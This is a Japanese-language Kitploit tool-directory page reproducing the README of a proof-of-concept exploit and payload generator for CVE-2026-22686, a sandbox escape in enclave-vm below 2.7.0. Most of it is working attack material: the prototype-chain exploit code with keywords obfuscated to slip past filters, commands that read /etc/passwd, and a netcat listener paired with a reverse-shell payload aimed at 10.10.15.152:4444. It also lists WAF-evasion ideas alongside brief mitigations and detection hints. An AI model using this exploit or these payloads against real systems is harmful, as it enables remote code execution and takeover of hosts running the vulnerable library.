Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — CVE-2026-22686の概念実証エクスプロイトおよびペイロードジェネレーター。enclave-vm <2.7.0におけるサンドボックスエスケープであり、任意コード実行とリバースシェルを可能にする。 | Kitploit
ツール/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育レッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

CVE-2026-22686の概念実証エクスプロイトおよびペイロードジェネレーター。enclave-vm <2.7.0におけるサンドボックスエスケープであり、任意コード実行とリバースシェルを可能にする。

リポジトリを見る
3時間43分前未レビュー

CVE-2026-22686 — enclave-vm サンドボックスエスケープ PoC

CVE CVSS enclave-vm Python License

CVE-2026-22686 の概念実証(PoC)エクスプロイトおよびペイロードジェネレーターです。これは enclave-vm の 2.7.0 より前 のバージョンに存在する重大なサンドボックスエスケープ脆弱性であり、ホストの Node.js ランタイム内で任意のコード実行を可能にします。

⚠️ 免責事項: このツールは 教育および許可されたセキュリティテストの目的のみ に提供されています。事前の書面による同意なしにシステムに対して使用することは違法です。作者は不正使用に対して一切の責任を負いません。


📖 目次

  • 概要
  • 脆弱性の詳細
  • 仕組み
  • インストール
  • 使用方法
  • ペイロードの構造
  • 緩和策
  • 法的情報
  • 参考文献
  • 作者
  • ライセンス

🔍 概要

enclave-vm は、信頼できないコードを制御された環境内で安全に実行するために設計された JavaScript サンドボックスライブラリです。バージョン < 2.7.0 では、ホスト側のエラーオブジェクトがサンドボックスに公開される方法に欠陥があり、攻撃者がプロトタイプチェーンをたどってホストの Function コンストラクタに到達し、実質的にサンドボックスを脱出できるようになります。

このリポジトリには以下が含まれます:

  • すぐに貼り付け可能な JavaScript ペイロードを生成する ペイロードジェネレーター
  • ホスト上での 任意のコマンド実行 のサポート
  • リバースシェル ペイロードのサポート
  • バイリンガル対話型 CLI(フランス語 / 英語)

🛡️ 脆弱性の詳細

根本原因

サンドボックス化されたツール呼び出しが失敗すると、enclave-vm は ホスト側の Error オブジェクト をサンドボックス化されたコードに公開します。このエラーオブジェクトはホスト環境の元のプロトタイプチェーンを保持しているため、攻撃者は次のようにチェーンをたどることができます:

root@kitploit:~
Error インスタンス
   └── Error.prototype
        └── Error コンストラクタ
             └── Function コンストラクタ  ← ホストの Function!

ホストの Function コンストラクタを取得すると、攻撃者はホストランタイムで任意の JavaScript をコンパイルして実行でき、サンドボックスを完全に回避できます。


⚙️ 仕組み

エクスプロイトは以下の手順で行われます:

  1. ホスト側のエラーを発生させる — 存在しないツールを呼び出す(callTool('NONEXISTENT', {}))。
  2. エラーオブジェクトを取得する — サンドボックスから取得します(ホストのプロトタイプチェーンへの参照を保持しています)。
  3. プロトタイプチェーンをたどる — Error.prototype.constructor.constructor に到達します。これはホストの Function です。
  4. 攻撃者のペイロードをコンパイルする — ホストの Function を使用して実行します。
  5. ペイロードは child_process をロードし、任意のシェルコマンドを実行します(またはリバースシェルを起動します)。

すべての機密キーワード(constructor、__proto__、__lookupGetter__、prototype)は、単純な静的フィルターを回避するために ASCII 文字コードとして難読化 されています。


📦 インストール

外部依存関係はありません — Python 標準ライブラリのみを使用します。

root@kitploit:~
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

要件:

  • Python 3.8+

🚀 使用方法

対話モード

root@kitploit:~
python3 generator.py

以下の入力を求められます:

  1. 言語の選択(フランス語 / 英語)
  2. ペイロードタイプの選択(コマンドまたはリバースシェル)
  3. コマンド / IP / ポートの指定

その後、生成されたペイロードをコピー し、脆弱なサンドボックスの入力に貼り付けます。

コマンド実行

root@kitploit:~
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

リバースシェル

ターミナル 1(攻撃者 — リスナー):

root@kitploit:~
nc -lvnp 4444

ターミナル 2(ジェネレーター):

root@kitploit:~
python3 generator.py --revshell 10.10.15.152 4444

生成されたペイロードをコピーしてサンドボックスに貼り付けます。ターミナル 1 でシェルを受信するはずです。

生のペイロード出力

root@kitploit:~
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

CLI オプション


🔬 ペイロードの構造

1. ASCII デコーダー

root@kitploit:~
const s = (...args) => String.fromCharCode(...args);

実行時に ASCII コード配列をデコードするための小さなヘルパーです。

2. 難読化されたキーワード

root@kitploit:~
const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

単純な文字列ベースのフィルターを回避します。

3. エクスプロイトチェーン

root@kitploit:~
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // ホストの Function コンストラクタ
const result = HostFunc(payload)();      // 任意のコード実行

その後、ホストの Function を使用して child_process.execSync() 経由で攻撃者のコマンドを実行します。


🛡️ 緩和策

開発者向け:

  • enclave-vm を >= 2.7.0 にアップグレードしてください。
  • 依存関係ツリーを定期的に監査してください(npm audit、Snyk、Dependabot)。
  • 追加の検証なしに、サンドボックス実行機能を信頼できない入力に公開しないでください。
  • サンドボックス化されたコードを分離されたプロセスで実行してください(例:isolated-vm、gVisor、Firecracker)。

ユーザー / 組織向け:

  • 本番環境で古いサンドボックスライブラリを監視してください。
  • ユーザーコードを実行するプロセスからの外向きネットワークアクセスを制限してください。
  • 最小権限の原則を適用してください:Node.js プロセスを非 root で実行してください。

検出:

callTool('NONEXISTENT'、__lookupGetter__、カンマ区切りの整数リテラルの長い配列、または child_process / execSync を含む HTTP リクエストやコード送信を探してください。


⚖️ 法的情報

このプロジェクトは 教育および防御的なセキュリティ研究のみを目的として 公開されています。セキュリティ研究者、許可されたペネトレーションテスター、および CTF プレイヤーを対象としています。

所有していない、または明示的な書面によるテスト許可がないシステムに対してこのツールを使用しないでください。 コンピュータシステムへの不正アクセスは、ほとんどの法域で違法であり(米国の CFAA、英国の Computer Misuse Act、フランスの Article 323-1)、厳しい刑事罰が科される可能性があります。

このソフトウェアを使用することにより、その使用から生じるいかなる損害や法的結果についても、作者は 責任を負わない ことに同意するものとします。


📚 参考文献

  • enclave-vm on npm
  • Original PoC by @amusedx
  • CWE-693: Protection Mechanism Failure
  • Node.js child_process documentation
  • OWASP: Sandboxing Best Practices

👤 作者

  • GitHub: @moi_404

📄 ライセンス

このプロジェクトは MIT License の下でライセンスされています — 詳細は LICENSE ファイルを参照してください。


🙏 謝辞

  • 元の脆弱性研究と PoC を提供した @amusedx
  • 責任ある開示と修正を行った enclave-vm のメンテナー
  • JavaScript サンドボックスエスケープに関する継続的な研究を行うセキュリティコミュニティ

⭐ コントリビューション

プルリクエストを歓迎します。大きな変更の場合は、まず issue を開いてください。

提案される改善点:

  • WAF を回避するための追加エンコーディング(base64、hex、rot13)
  • 脆弱なエンドポイントの自動検出
  • 他のサンドボックスライブラリ(vm2、isolated-vm)のサポート
  • ユニットテストと CI 統合
ツールをダウンロード
項目値
CVE IDCVE-2026-22686
CVSS v3.110.0 (Critical)
CWECWE-693 — 保護メカニズムの不具合
コンポーネントenclave-vm
影響を受けるバージョン< 2.7.0
修正バージョン2.7.0
影響サンドボックスエスケープ → 任意のコード実行(RCE)
フラグ説明
-c, --command実行するシェルコマンド
--revshell LHOST LPORTリバースシェルペイロードを生成する
--rawペイロードのみを出力する(バナーや装飾なし)
--lang {fr,en}インターフェース言語を強制する
-h, --helpヘルプと例を表示する